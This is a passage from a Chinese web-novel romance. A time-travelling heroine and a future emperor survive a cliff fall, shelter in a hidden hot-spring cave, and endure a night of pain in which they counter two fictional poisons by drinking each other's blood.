直觉告诉她,是死是活全看这遭了。
正当她这么想着的时候,伴随着马蹄阵阵,来人露面了。
看着为首一行人中领头的那个年轻人,叶绒愣了下。
谢阔???
“……小心!!!”
一切发生的那么突然而又早有预谋。
几乎是在叶绒看到来人是谁的瞬间,利箭破空的声音便从两边被白雪覆盖的树林中传了出来……
一切的厮杀无声而又激烈,刺眼而又血腥。
两波穿着样式不同,但却全着黑服的人战到了一起,隐约的,叶绒有种梦回怀县的错觉。
和那次不同的是,这回前来救她的黑衣人明显处于下风,以至于,当满身血腥,连眉心都被划了一道的男人,这回看起来甚是狼狈……
谢阔捞到人之后,只急切的对她道了句,“闭眼。”
几乎是在话落的瞬间,他便抱着叶绒猛然一跃,飞身冲向了悬崖。
“!!!”
叶绒吓的咬紧了男人胸口的衣服,出于对男人的信任,她没有惊喊出声。
好半响,不知在空中无绳蹦极了多久之后,叶绒总算是听到了和呼啸风声截然不同的声音。
“呲——”
听着利剑划过石崖,摩擦时发出的令人起鸡皮疙瘩的声音,叶绒耳朵难受的同时,也放心了。
妥了。
不用担心落崖摔成肉泥了!
不过,叶绒放心太早了。
在两人下落趋势逐渐减缓时,叶绒突然感觉男人揽在她腰上的手松了一下。
叶绒:“!!!”
她吓得连忙手脚并用死死抱住了男人。
“唔唔唔……”
叶绒杏眸水汪汪的看着男人。
“我知道我不辞而别不对,但你也不用这么报复我吧?”
她已经知道错了,真的!
满身血腥的男人对上她诚恳认错的目光,有气无力的扯了扯嘴角。
男人轻喘着说出了找到她之后的第二句话,“其实,在这里当一对亡命鸳鸯也蛮不错的,寒风作陪,白雪葬身。你觉得怎样?”
叶绒:“……”
她紧紧抱着男人,不敢大力摇头,直哽咽着道:“大哥我错了,真的。我以后再也不敢了,我绝对不会在不辞而别了,求你别这时候吓我啊!”
她觉得她还有救。
然并卵——
谢阔并不这么觉得。
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内力消散,不知何时中招的男人,强忍着筋脉中的剧痛,对叶绒轻呵了一声。
“骗子!”
叶绒听到这话,看他面容扭曲的模样,顿时把人抱的更紧了,生怕他气急失去理智,直接把她给扔下去。
“我保证我以后再也不骗你了,更不会乱跑了,你别把我扔下去。”
唔唔唔……
说好的心胸宽广的仁君呢?
她承认不辞而别是她不对,但他一背景板也不能因此抢黑化反派的活儿啊!
偏执黑化反派,爱而不得,同归于尽什么的,早就不流行了!
看她这般怕死的模样,还在气头上的男人直接就气笑了。
“这么怕死,你还敢随随便便不辞而别?”
她当初但凡是顶着自个儿原生脸出去的,让她身边那些暗中跟随保护的人知道了,都不至于遭这趟罪。
叶绒看着明显在气头上的男人,为了不再刺激她,没敢出声为自己辩解,只默默又把人给抱紧了些。
感受着她那强烈的求生欲,在这暂缓的功夫中,勉强适应了筋脉中疼痛的男人,又稍微蓄了点儿力。
在拔剑下跳前一刻,他垂眸看向怀中少女,“这回你没再骗我?”
感受着他话语中的松动,叶绒连忙给人喂了颗定心丸
“真的,我保证,以后你让我往东我绝不往西!”
“行,那我再信你一次。”
男人话音未落,不等叶绒松口气,他直接拔剑,抱着怀中人做起了自由落体运动。
“啊啊啊!!!”
这下叶绒是彻底忍不住,尖叫出声了。
不是,说好的信任呢?
这怎么还带殉情呢?!!!
救命.jpg
她年纪轻轻的,还不想死啊!
然而,抱着她决绝往下跳的男人,没感受到她内心对生的浓浓渴望。
万万没想到,这年头还有开国皇帝这般恋爱脑的叶绒内心那叫一个MMP!
危急关头,大脑一片空白的叶绒,下意识动用了钞能力。
——穿越大神救命,救信女一条狗命,改日给你送纯金刻像啊,等人高的那种!
求求了.jpg
第一百零五章 投名状?
伴随着砰的一声巨响,从拔剑到下落,仅几个呼吸间的功夫,两人同时落地。
哦,不能这么说——
紧紧纠缠在一起的两人中,当垫背的男人,承受着高空坠落的冲击与被他抱在怀中的人的重量,砰的一声落在了地上。
那声音……
“啧……”
叶绒下意识倒抽了一口冷气。
牙酸.jpg
这下,她顾不得感谢穿越大神了。
看着真真切切又给她当了回垫背的男人,叶绒吓得连忙从男人身上爬起来。
“你怎么样?”
叶绒手足无措的看着倒在地上,一动不动的男人。
看他满身血渍,疼的剧烈喘气的模样,因不知道他都伤到了哪里,叶绒蹲在男人旁边,没敢上手把人扶起来。
好半天,缓过劲儿来的男人,手臂微抬,借着她递过来的胳膊,稍微用力,站了起来。
“嘶……”
行动间,谢阔没忍住,疼的又倒抽了一口冷气。
摔落倒地的伤,倒不是很严重,但筋脉中的剧痛却在随着时间的流逝,一点点的加重,仿佛没一个底线似的。
谢阔感受着身上无时无刻的疼痛,略微调整了下呼吸,为了转移注意力,他下意识开始思考——
这世界有哪种**会有这般效果,让人经脉剧痛,无法使用内力?
此番阴毒之物,为何他从未听人说过?
“……是碧落。”
嗯?
谢阔抬眼看向弱弱出声的叶绒。
在男人锐利目光的注视下,看着不自觉把心中疑惑脱口而出的男人,叶绒硬着头皮解释道:“你说的那种**,应该是碧落。”
因书中剧情的缘故,她恰好对这有点了解。
“此毒是从西域传过来的,**之人会感觉经脉剧痛,之后随着时间的流逝,痛感会越来越强烈,一个时辰后达到巅峰,然后紧接着痛感回到初始,如此循环往复,没个停歇,直至**之人活活疼死为止。”
这种毒小说中只出现过一次,是一反派想下给男主的,当然最后因为锦鲤女主的缘故,男主避开了这一劫。
谢阔闻言,深吸一口气问道:“怎么解毒?”
现在追究怎么**的,已经没有意义了,关键是得先把身上的毒给解了。
叶绒听到这话,咬紧了下唇,她徒劳无功的摇了摇头,“……无解。”
是她害了他。
倘若不是她的话,想来他不用遭这般罪。
???
看她痛苦愧疚的模样,谢阔呼吸一滞。
“还有什么,你一并说了吧。”
他承受得住。
叶绒闻言,小心翼翼看他一眼,“据我所知,此毒因为过于阴狠的缘故,下药手法也甚是繁杂。不止要辅以特质药酒,并吸入特质香味,做引子,且此药必须抹在寒铁剑上,见血才能入体。它虽无解,但**者,只要在最后一步之前发现不对劲,一月之内不动用内力,这毒便无法起作用,且一月之后,这毒对你再无作用。”
据她分析,这应该是身体产生了抗体的缘故。
谢阔看着认真解释的叶绒,顿感头疼,他知道,她没撒谎,她真是这么认为的。
这般想着,泰山压顶而面不改色的男人,只思考了片刻的功夫,便从随身携带的内兜里掏出一个小药瓶,把里面白色的丹丸捏出来,仰头生吞了。
男人强忍着剧痛催化药力……
眼看男人没一会儿的功夫,面容便有了点血色,叶绒傻眼,“……你吃的什么?”
不是,书中作者钦定的没有解药的碧落,这么好搞定的吗?
说好的让人活生生痛死呢?
男人闻言看她一眼,“止痛药。”
初见时她给的,被程医远添了些好东西,制成了丹丸。
此番虽不能彻底止痛,但好歹能缓解些。
“什么玩意儿?”
她知道这药肯定有止痛的效果呀,不然他脸色不会这么快就好转的,关键什么止痛药呀?
男人没和叶绒在这个问题上过多解释。
他看了眼高耸的悬崖,略微估
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算了下上面人下来花费的时间,便果断做出了决定。
谢阔强忍着大脑着地时的眩晕呕吐感,他大致分辨了一下方向,便拉着叶绒的胳膊,趁着**效果还不甚强烈时,往一个方向走去……
眼见他走的那叫一个坚定,叶绒和男人搀扶着一起前行,“我们要去哪里啊?”
“这里地处梁州和豫州的交界处,且在梁州管辖范围内。两州早些年关系不好,曾结下过死仇,若是被梁州人找到我们在这里,那我们就没救了。”
可恨那些虏走她的人势力太大,且和豫州叛徒联手洗去了她的踪迹,若非如此,他也不至于来到梁州地界之后才找到她。
这般想着,谢阔眼底闪过一抹狠辣,只希望他父亲找到那些叛徒之后,给他们留下一条命,待他回去,他一定要活剐了那些人!
叶绒并不知道男人内心在想些什么,看他熟门熟路的模样,为了让心中少一些恐慌,她重新找了个话题。
“那我们现在是要重新回豫州吗?”
“不是。”谢阔看了一眼她忐忑不安的模样,方才解释道。
“虽现在还没查到是哪些人把你弄来这里的,但有那个能耐带着你从豫州的重重封锁中跑来这里的,细数起来,不过也就那几个势力罢了。”
“而且他们既然会带你来梁州这边,那十有**之后会和梁州的势力联手,想把我彻底留在这里,如果我没猜错的话,此番梁州边境应该已经彻底封锁了,只带来个瓮中捉鳖。”
甚至于现在,十有**已经有人来山崖这边想搜索他们二人的尸体了。
至于那些心思缜密,把他逼迫到这般地步的人,为何先前没直接派人在崖底守着,来个守株待兔?
想到他身上不知何时中的剧毒,谢阔冷笑了一声。
从下毒到埋伏,再到把他逼迫到这里,想以梁州做保底,彻底解决他这个隐患,下毒之人可真是一环扣一环,生怕他能活着回到豫州啊!
这是想把他的脑袋送给梁州,当成投名状吗?
可惜——
他这人向来命大!
第一百零六章 想成亲了?
看着目标明确,带着她左拐右走的男人,叶绒有些不解。
“既然不回豫州,那我们现在去哪里啊?”
这冰天雪地的,就算是随随便便找个地方窝着,等人来救他们,那也得找个好点的,能遮风避雪的地方啊!
但是——
难!
看着把心里的担忧,全都写在了脸上的叶绒,谢阔扯了扯嘴角。
“敢一声不吭就直接跑走,我还当你不惜命呢!”
旧话重提,叶绒瞬间闭嘴。
好在男人只默默吐槽了句,没过多揪着这个话题不放。
他为她解惑道:“三年前,这里曾被我带兵打下来过。我知道这里有个隐蔽的,外人不曾踏足过的山洞,我们先去那里避一避。”
曾经,他一个人的小天地,如今终于要迎来另外一个主人了。
叶绒听到这话,脑袋卡了一下。
“你刚刚不还说,咱们现在在梁州的管辖范围内吗?”
难不成,她刚才是听错了?
谢阔:“……”
男人用和冰雪一样凉的目光,淡淡看了叶绒一眼。
他语气分外平静道了句,“胜败乃兵家常事。”
叶绒:“……”
瞬间秒懂.jpg
而且吧,他说这话时,这态度,难不成……
叶绒大胆猜测,小心求证,“这里先前是被你打下来的,也是从你手上被人夺回去的?”
谢阔:“……看破不说破,谢谢。”
虽然他在她面前早就没脸了,但他还是要面子的。
所以,有些事情心知肚明就行了,不必讲出来。
再说了,谁年少轻狂时,没犯下过错事啊?!
哦豁!
恼羞成怒了。
叶绒果断闭嘴。
但她也就安静了那么一会儿,眼见男人没一会儿的功夫,就有气无力想闭眼的样子,生怕人在冰天雪地里,一睡不起的叶绒,连忙又重新找了个话题。
“话说,我走了之后,冬雪他们怎么样?”
“鞭三十,发卖了。”
男人冰冷的嘴里,吐出了同样冰冷的话语。
叶绒:……
“不是,你开玩笑的吧?我都留信了,而且此事错在我,和他们没关系,你怎么还带罚人的啊?”
谢阔听到这话,掀了掀眼皮,“护主不利,害你失踪,你管这叫没错?”
那些人半个月前,但凡看好了人,他今天就不会落到如此凄惨的地步。
叶绒呐呐不语,看男人面无表情的,一点都不似在撒谎的模样,叶绒:“……”
她眼圈直接就红了。
在她哽咽落泪的前一秒,男人似乎预判了她接下来的举动般,比了个噤声的手势。
“先别哭,听我说完,这账我先给他们记上了,下次再犯,两罪并罚。”
叶绒:“……”
她吸了吸鼻子,对上男人倪过来的目光,没敢顶嘴。
“放心吧,以后我绝对不会再乱跑了。”
这次,她真的长了教训了。
吃一鉴,长一智。
等回了谢府之后,她决定直接在府上玩个消失。
至于清辉苑那些人?
只能让她兄弟来捞了。
她相信,谢家人承诺过的事情,一定会做到的!
并不知道这回事儿还没过去呢,正和他共苦的少女,就已经在策划下次的离去了,谢阔此时正在专心分辨方向。
越来越痛了……
倘若在痛晕过去之前,还没找到他以前的老窝的话,那他俩这波铁定完。
哦,不对,不能这么说——
此番真不幸被追兵找到了,需要找阎王爷排队投胎的,应该也只有他自己。
毕竟,他身边这位,可还有家里人护着呢!
也是因此——
生死危急关头,谢阔硬忍着疼痛,带着人一边找地方一边扫尾,全靠一股毅力硬撑着,直到他在一棵看似普通的枯树的树洞里,看到了一被碎石泥土并白雪遮挡的只剩下一点儿空间的地方,他带着人钻进去之后,才放心的晕了过去……
叶绒:“!!!”
前脚刚爬进一乌漆麻黑的地方,后脚在她脚后跟处跟着进来的男人就晕了,吓得叶绒悚然一惊。
树洞入口处,男人没来得及遮盖严实的地方透来点点白光,叶绒借着光亮看到了强忍痛楚的男人,苍白的面容和紧皱的眉头……
看男人连昏过去了,都疼的不能安生的模样,叶绒咬了咬下唇。
心知此时不是脆弱的时候,叶绒掩好树洞处的破绽,遮住微光,打开手电筒,双手环腰抱着男人连拖带拽的往里走去……
Emmm……
虽此时感慨有些不合时宜,但叶绒觉得,这个世界的人,应该和陶渊明蛮有话聊的。
——整的路都窄小难通人。
真当桃花源四处可见啊?
……
没错!
就是的!!!
叶绒来到目的地之后,果断打脸自己,推翻前言。
你敢信?
就一普普通通树洞,往里随便一钻,往下走上那么一会儿的功夫,就能看到一纯天然温泉?
不止温泉,关键还有人在这里盖了两套房子。
叶绒双手作喇叭状高喊:“有人吗?”
“有人吗?”
“人吗?”
“吗?”
空旷的山谷里,只余回音。
等了一会儿没人回应,叶绒看了看仅一会儿的功夫,不知道是因为失血过多,还是因为别的什么原因,手脚越发冰凉的男人,她果断带着男人来了波鸠占鹊巢。
——大不了等这里的主人回来之后,再给他补偿。
因忧心男人身体的缘故,大冬天的,帮人收拾擦洗包扎,忙活了一通,一直没个停歇的叶绒,热的身上的衣服那是一层又一层的接着脱……
“咳……”在叶绒热的满脸通红的,想把中衣扣子解开,透透气的时候,她听到了床上人传来的动静。
谢阔看看自己裸露在外的四肢,又看看仅着中衣的少女,脸上难得闪过一丝尴尬。
虽然他们更亲密的事情都做过了,但是——
“你如果迫不及待想和我成亲的话,直说就好,不用私底下偷偷摸摸的干坏事。”
他们二人行的端做的正,为人处事光明正大的,犯不着玩生米煮成熟饭那招。
叶绒:“……”
这种程度的小case都受不了,他要是在现代的大街上,看到了那些穿着比基尼的小姐姐,那可怎么活哟?
第一百零七章 她没排面吗?
这么想着,叶绒默默给男人翻了个白眼。
“这不能怪我,主要是你找的地方太热了。”
她也没有想到,古代纯天然无污染的温泉,热量竟然这么大,她刚刚在外面还冻得瑟瑟发抖呢,在里面就稍微忙活了那么一小会儿,竟然就热成这狗样了。
关键还是闷热的那种,热的她身体跟被蒸熟了一样,从内而外散发着热量,时间久了,还有种喘不过气来的感觉。
看着边说还边用手扇风的叶绒,谢阔:“……”
男人什么都没说,只默默举起了他的胳膊。
叶绒:“???”
以为是自己刚刚哪里没擦干净的叶绒,下意识拿手中的湿布料,又重新给他擦了下。
谢阔无语看她一眼,“我是让你看下,我手上被冻的竖起来的汗毛。”
他有自知之明,知道他这一身血渍有够脏的,擦是擦不干净的。
叶绒一脸懵逼。
“什么玩意儿?”
他……冷?
四目相对,想到这是小说世界,叶绒咕咚一声咽了口口水,有了种不好的预感。
“呵呵……”她有些尴尬的扯了扯嘴角,很是不死心的开口。
“那什么,你应该是失血过多才感觉冷的,等会儿缓过来就能感觉到温泉的热度了。”
“……天真。”
谢阔直接开口打破了她的幻想。
“我们一路往这边走来,没有一丁点儿有人追击过来的迹象。你猜,他们为什么那么放心让我们两人逃走?”
听到这话,叶绒表情顿时就垮了。
“也不一定吧,万一是我们脚程太快,他们还没追上来呢?”
谢阔:……
他从善如流换了种说法,“我都没逃过中招了,你觉得你被他们抓走半个月,中毒的可能性有多大?”
叶绒:?!?!?!
什么鬼?
总算反应过来,两人脑回路不在一条线上,叶绒傻眼了。
不是——
“我这反应,不应该是中了春药的表现吗?怎么到你嘴里就变成毒了?”
她堂堂恶毒女配,这么没排面,不配被歹人下春药的吗?
谢阔听到她的话,沉吟片刻方才道:“你这么说也没错,红颜确实是春药中的一种。”
谢阔没给叶绒松口气的时间,就直接开口解释道:“红颜乃前朝宫廷秘药,对妇人而言,它确实是一普普通通用来增加闺房之乐的药,但此物放到未经人事的少女身上,却是要命的毒物。”
“倘若少女服用此药,会精神十足容貌昳丽,且此药一经服用,每日都需得在同一时间段摄入一些红颜,断药当日,中此药者会觉得欲火焚身,泻身之刻,便是亡命之时。”
男人说最后两句话时,刻意停顿了下。
叶绒:“……”
秒懂.jpg
她此时深恨自己,平常没事时,干嘛老喜欢在网上刷些乱七八糟的东西?
若非如此,她也不至于,懂了的同时心就死了。
嘤嘤嘤……
刚刚在悬崖上面看时间的时候,叶绒还有些疑惑来着,她假面被人揭了,那么漂亮一大姑娘,为什么没人趁她昏迷,直接来个辣手摧花?
好么,现在不用疑惑了。
感情他们不馋她的身子,是因为馋她的命啊!
她是不是该为他们的敬业点个赞——
个鬼啊!
感受着体内越发灼热的气息,叶绒忍不住哽咽出声,“唔唔唔……”
看着床上躺着的难兄难弟,叶绒抹着眼泪道:“咱们还真是有缘,虽然不是同年同月同日生,但却能同年同月同日死,说不定还能同一时辰嘎了,一块儿下去见阎王爷。”
谢阔:“……”
他本来还想问问她,知不知道红颜的解法,没想到直接把人给吓哭了。
妥了——
没什么意外的话,碧落和红颜都是无解之毒。
这么一想,谢阔突然有些明白,为什么那些黑衣人,不直接追上来,而是放他们离开了。
那幕后黑手,怕不是巴不得他们两个人,能好好的躲起来,最好躲的他父亲,一辈子都找不到他们的尸体的那种。
这样,他们就不用面对,来自豫州的,不计代价的疯狂报复了。
毕竟,如果他父亲一直找不到他们的尸体的话,总归还会抱着一份希望,行事之间,多一份顾忌的。
这可真是打的一手好算盘啊!
谢阔几乎要为幕后之人,这番绝妙的算计鼓掌了。
感受着体内越发浓烈的痛楚,他脸上露出了一抹森然的笑容。
只希望——
他回去之后,那些个插手此事的幕后之人,最好能藏的严实点,别让他短时间内,就找到他们。
并不知道男人内心,满是不可示人的马赛克想法的叶绒,看着疼的双手握拳,掌心都快掐出血的男人,她为自己的任性道了歉。
“对不起……”
倘若她不是为了图个方便,非得来个不辞而别的话,他就不用遭此劫难了。
男人闻言,强压下内心嗜血的念头,呵呵一笑,“……你若真觉得对不起我的话,那你最好能说到做到,把你的保证做到位,千万不要再不辞而别了。”
叶绒闻言,重重点头。
“放心,我绝对不会了!”
他们要是真能度过此番劫难的话——
“我下回离开之前,肯定先吱个声。”
叶绒决定,她回了谢府之后,要是找到了离开的好时机,在走之前,肯定会先打声招呼的。
绝对绝对、不会再不辞而别,闹出现在这般事件了。
看着叶绒的诚恳面容,谢阔:“……”
敢情他不说这话,她下回还真想再故技重施啊?
不是,说好的,人与人之间的信任呢?
四目相对,后知后觉反应过来自己嘴快,暴露了什么的叶绒:“……”
阿巴阿巴——
她眸光闪烁着,有些不敢看男人隐忍的面容。
谢阔皮笑肉不笑扯了扯嘴角。
“打个商量,咱们这回八成都要死了,你能让我死个明白吗?”
“唔……”
“我有个问题,希望你能如实回答。”
看着说话声音有气无力,却还强撑着想要一个答案的男人,叶绒重重点了下头。
“好!”
第一百零八章 以毒攻毒?
谢阔一字一顿的开口问道:“那你实话告诉我,说好的三媒六聘八抬大轿,你是不是不愿意嫁给我?”
叶绒:“……”
正常情况下,按照他们国家的习俗来讲,面对将死之人的临终遗愿,他们能完成的,尽量都会帮忙完成的。
按理来说,为了能让他走得开心点,她该摇头来着,但是——
她同样也是快要嘎了的人啊!
叶绒感受着体内越发灼热的,哪怕她竭力分散自己注意力,都在强劲彰显存在感,害得她越来越无法忽视的热意和……空虚。
“……”
她琢磨着,就以他们两人现在的情况来看,这临终关怀,不应该是她给他,而是应该反过来。
毕竟,十有八九,她会在他忍受不住痛楚要么拔剑自杀,要么活活疼死之前,先咽气。
想到这一点的叶绒:“……”
叶绒沉默了好半响,看谢阔不达目的,誓不罢休,不论死活,都执着的想要一个答案的模样。
她小小声的,很是从心的道:“这不明摆着的事情嘛!”
他这话问的,好像她上回点头同意,是真心愿意的一样?!
当然,有鉴于床上躺着的男人,现在变成这样,有她几分因素在的缘故,叶绒很是体贴的,咽下了后半句话,生怕男人在痛死之前,先被她给气死。
谢阔:“……”
他忍了又忍,胸膛剧烈起伏间,还是没有忍住,“噗——”
叶绒:!!!
“不是,大哥我错了,我愿意、我愿意、我愿意还不行嘛,你消消气啊!”
这特么的,他们都快死了,他怎么还想着,让她临死之前,背上一条人命债呢?!!!
男人看叶绒惊恐的头皮都要炸了的模样,有气无力的掀了掀眼皮,“你实话告诉我,你为什么不想嫁给我?”
叶绒:“……”
生怕他受不了再喷一口血,叶绒这回没敢吭声。
而且……
“你刚刚不是说,你就一个问题想问吗?”
这怎么一声不吭的,还带涨问题数量的啊?!
谢阔:“……”
此时此刻的他,无比的感谢他爹,为了磨练他的养气能力,在他身上花费的苦功夫。
谢阔忍了又忍,还是没有忍住询问出声,“我身上难道就没什么吸引你的地方吗?”
不是,他做人有那么差劲儿吗?
向来很有自知之明的男人,被连番打击之下,难得有些怀疑自我。
“有。”叶绒应得响亮。
这问题能回答。
男人闻言,给了她一个眼神,示意她详细展开讲讲。
“都这种生死关头了,你还能沉住气,和我讨论这些情情爱爱的问题,老实说,我蛮佩服你的定力的。”
那些个泰山压顶而面不改色的人,和他现在比起来,都要逊上一筹!
活该他能当皇帝啊!
牛.jpg
谢阔:“……除此之外呢?”
他有些不死心。
“如果你能告诉我,你是怎么做到,在生死关头这么淡定的,那你身上吸引人的点就更多了。”
叶绒说着,为了增加这话的可信度,她重重点了下头。
谢阔:……
恍惚间,他好像听到了心脏碎裂的声音。
谁的心中了一箭,裂开了呀?
他的!
“唔……”
眼看说着说着满脸通红,眼神恍惚的不自觉往他这边蹭上来的叶绒,心知她快撑不住的男人,在纤细的手摸到他握成拳的五指的那刻,他变拳为掌,伸手在叶绒掌心正中重重掐了下。
“嘶……”
男人这下太用力了。
叶绒当即倒抽一口气,清醒了几分。
“……”
虽然男人现在,在她眼中跟行走的制冷机没什么两样,但叶绒还是强撑着坐直了身体。
她看着自个儿红彤彤的掌心,撇了撇嘴,“你也太小气了吧,我就摸了你一下,竟然掐的这么狠。”
男人闻言,没有给自己辩解,只是表情淡淡的道:“你刚刚不是还问我,怎么在生死关头,做到这么淡定的吗?”
叶绒听到这话,当即顾不得追究他的小心眼了。
她耳朵支楞起来,眨去眼中迷蒙的水雾,静待下文。
“我想到了一个,我们两人都能活下来的,两全其美的办法。”
啊嘞?
叶绒有那么一瞬间,以为自己被体内难言的痒意折磨的,听力已经出现了问题。
但男人的表情告诉她,他没有撒谎。
不是……
说好的碧落和红颜是无解之毒呢?
“……你说说。”叶绒有些迟疑的开口。
说不定他见多识广,真知道一两个能解此等阴损毒药的偏方呢!
抱着这种希翼,叶绒摆出了一份洗耳恭听的架势。
“两者既然都是无解之毒,且一旦发作没个消停的时间,那说明它们两者之间,必然是有共性的,我们可以来个以毒攻毒。”
啊哈???
叶绒这回虽然听清楚了谢阔的话,但完全没弄明白他的脑回路。
不是,以毒攻毒是这么用的吗?
四目相对,回应她的是男人坚定的眼神。
谢阔没有一点开玩笑的架势。
“现在碧落、红颜已经遍布我们血液经脉之间了,等会儿你快感觉撑不住的时候,可以喝一口我的血压压,反之我亦同样。”
叶绒:“……你确定?”
谢阔重重点了下头。
“那什么,我不是在质疑你啊。”叶绒先开口打了个预防针。
“我就是想知道一下,你想出来的这个主意,它可靠性在哪里?有什么依据吗?能不能稍微展开讲一下。”
倘若这事没什么科学依据的话,那她宁愿就这么嘎了,好歹还能少受一份罪。
“我虽然没听过碧落,但我知道像红颜这般的毒,毒性向来很霸道,你可以理解为它具有很强的排他性……”
谢阔看叶绒一脸懵逼的模样,想了想,又换了种说辞。
“假如把碧落、红颜比作不同人养出来的蛊王的话,它们进入寄主内之后,虽然以弄死寄主为己任,但要是在这个过程中,寄主体内进入了其它蛊王,那么它便会先停止杀死寄主,而是会选择,先把其他蛊王弄死,懂?”
叶绒:“……”
第一百零九章 癫!
叶绒情不自禁抬头往上看了看。
癫,这个世界太癫了!
不是,牛顿的棺材板在这里也没被掀了啊,大家同样都是人,凭什么这里不受科学影响?
被谢阔的话,整的三观隐隐有些破碎的叶绒觉得,她此时迫切需要马克思来救命。
哦、不对……她信穿越大神来着!
Emmm……
想明白这一点,叶绒整个人突然就恍然大悟了。
这里神明都出来了,那她过往培养的世界观在这里不适应,也是一件非常正常的事情!
毕竟人马克思再牛,也管不了其他世界的玄幻事件啊!
自我说服成功的叶绒,选择了接受谢阔提出来的不是办法的办法。
——反正也没其它招了。
那就试试呗!
正所谓试试就逝世——
疼……
很疼……
极致的让人难以忍受的疼……
别的小说中,男女两人单独相处,那是从空虚寂寞冷到干柴烈火烧起来,而他们两人呢?
她是从空虚到空虚加疼痛,关键还是自己找疼受的那种,这酸爽的滋味……
啧!
而且,每当她快受不了的时候,都会被男人摁头强灌一口血,加加疼,勉强再撑过身体里的一波寂寞难受。
就这样,她突破身体极限,勉强自己一次,再勉强自己一次,完了再来一次,次次没个停歇……
俩人你一口我一口,在看似暧昧难言,实则痛苦不堪的感受中,勉强达成了循环互救的成就……
叶绒刚开始吸男人第一口血时,还没什么感受,直到谢阔强忍疼痛运转内力后……
“嗷嗷嗷……”
猝不及防的痛感传来,叶绒一个没忍住,嗷的一声叫出来,彻底感受到了男人正在忍受的痛处……
酸爽.jpg
两人互相勉励着,熬过第一波疼痛的发作之后,叶绒痛哭流涕的求着面前的人给她个痛快,然后,她哭着哭着,又被男人估摸着时间,看准时机喂了一口血。
叶绒:“……”
她哇的一下,彻底哭成了狗。
不是,说好的恶毒女配的排面呢?
同为恶毒女配,她不求混到柳如叶那个地步,好歹在被正义女主制裁之前,让她普普通通正正常常的活下去啊!
呜呜呜……
救命.jpg
时间在这个让人难耐的夜晚,仿佛被人施加了魔法似的,格外的漫长,难以度过。
叶绒不知道外面的天是什么时候黑的,也不清楚他们两人到底熬了多久,她只在最后,养成了一个条件反射性的习惯。
每当男人内力带来的暖意,在她身体里游走的时候,她都会立刻放空大脑,以最快的速度让自己魂飞天外,以便减轻些身上让人难以言喻的折磨……
讲真,这时候,叶绒很佩服谢阔。
同样的疼痛,同样的空虚,甚至于前者因为碧落在他身上的缘故,他比她更难受,结果他愣是熬过来了,只除了每每循环时,最痛苦的那一会儿以外,其他时候,他全程都咬牙硬撑过来了,一声不带吭的。
真、硬汉子啊!
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每当这时候,叶绒都觉得,有的人能当上皇帝,像她这等普通小老百姓,当真不应该羡慕嫉妒恨。
毕竟——
这都是人家应得的啊!!!
当然,如果他肯答应她的哀求,给她来上一刀,送她个痛快的话,那他就更是一个好皇帝了!
当时间的流逝,在相互救赎着彼此的两人这里,失去意义的时候,感受着内力又一次在体内流淌,叶绒身体下意识抽搐了一下。
不等她放空思绪,只听与她四肢纠缠,牢牢禁锢着她,不让她自残的男人,喘息着用气音道了两个字,“好了。”
“……”
疼了一晚上,大脑已经失去转动能力的叶绒,一时没明白男人话里的意思。
好一会儿过后,体内没有剧痛再度传来,她生锈的大脑方才转动着,接收了男人传递过来的讯息。
“……毒解了?”叶绒一脸茫然,有种不真实的感觉。
她终于不用再忍受,比十八层地狱的刑罚还让人难以接受的折磨了?
“你想多了。”
叶绒脸上笑容还没展开,就因男人这句泼冷水的话,僵硬了表情。
“呜……”
叶绒垮着一张脸,强忍着给人竖中指的冲动,声音哽咽道:“其实,我不介意你这时候骗骗我的。”
她这人虚伪,就爱听假话。
谢阔扯了扯嘴角。
“借着碧落和红颜的较劲儿,我把我们体内的毒,全都压在了心脉处,封印起来了,短时间内我们可以不用再忍受它们的折腾了。”
叶绒迅速抓住关键点,“你所谓的短时间,具体是多久?”
谢阔沉吟了下,方才给出答案,“没什么意外的话,腊八之前不会再毒发了。”
叶绒:……
“那在腊八之前,能找到解毒的方法吗?”
“……我尽量。”男人这话有些气虚。
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叶绒强撑着抬起一只胳膊,拍了拍和她躺在一起的男人。
“打个商量,腊八那天,要是还没找到能让咱们解脱的方法的话,你到时候就人工帮我解脱一下吧。”
这样,她下辈子出生的时候,还能赶个好兆头!
男人闻言,有气无力的白了她一眼。
“还有半个多月呢,你慌什么!”
叶绒回以一个再正经不过的表情,“真的,我不是在和你开玩笑。”
碧落红颜的感受,那是谁试谁知道,她就是打死也不会再来一次了。
“别瞎胡说。”
男人斥责了她一句,紧接着保证道:“我会尽快让人把我们两人身上的毒解了的。”
叶绒撇了撇嘴,没在这个无意义的问题上和他较劲儿。
在冰冷的地上又躺了好一会儿之后,女人的天性让她挣扎着爬了起来。
看她踉跄起身的模样,躺在地上一动不动的谢阔下意识伸手,想扶她一把。
“别……”
叶绒连忙避开。
经过一夜相处,他现在无论是开口对她说话,还是对她动手动脚,她都有点点怕。
因为,意识朦胧时,他那嘴一动,就是让她再坚持一次;那手一动,她更惨,剧痛立马袭来!
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第一百一十章 她从心
被叶绒嫌弃的谢阔很有自知之明收手。
“你要去哪里?”
他怕她想不开。
叶绒起身看着自己一身邋遢,满身血污,比乞丐还不如的模样,满脸嫌弃。
“我去温泉那边洗洗。”
她昨晚给他擦胳膊腿的时候,已经实地考察过了,外面的温泉是活水,能直接泡。
谢阔,“……”
刚刚躺地上还要死不活的,一说洗澡就立马爬了起来,干劲十足。
不得不说,女人有时候还蛮让人佩服的!
身为忍受疼痛的主力军,一边要忍受着身上的双重折磨,一边还要想办法控制住身旁几度失去理智,想给他们来个伤上加伤的人,顺便还要把两人体内的毒素一点一点的压到心脉处,仅仅一夜的功夫过去,劳神费力cpu都快干爆的男人,比那些被妖精榨干了的人看起来都虚弱。
讲真,他现在还能硬撑着和她说话,全都靠融入骨血中的风度支撑着。
就这,他都要躺在地上缓上好一会儿,才能爬起来。
和她完全比不了!
这么想着,谢阔用眼神对叶绒示意了下。
叶绒顺着他的目光看向房间里的衣柜,“怎么了?”
她一脸不明所以。
“衣柜里有我三年前存放的衣服,专门用油纸包着,勉强还算干净,你洗漱完可以先将就着穿一下。”
嗯?
小朋友你是否有很多问号?
“你行军打仗的时候,还有空来这里盖两间房子啊?”
不是……他三年前精力这么充沛的吗?
高强度与人命有关的战争,都没把他注意力给占据完?
还让他有空四处闲逛,找到这么个隐蔽的地方,完了还来这里做手工活儿?
谢阔:“……都跟你说了,我三年前年轻气盛,活力旺盛。”
不然哪儿来的骄兵必败?
叶绒:“……”
吃人嘴短,拿人手软,她果断闭嘴,拿东西出去洗漱……
老实说,叶绒在温泉里泡着的时候,是很想在拼夕夕上买些洗漱用品,给自己来个彻底的大清洁的,但是……
她这人比较从心,不敢!
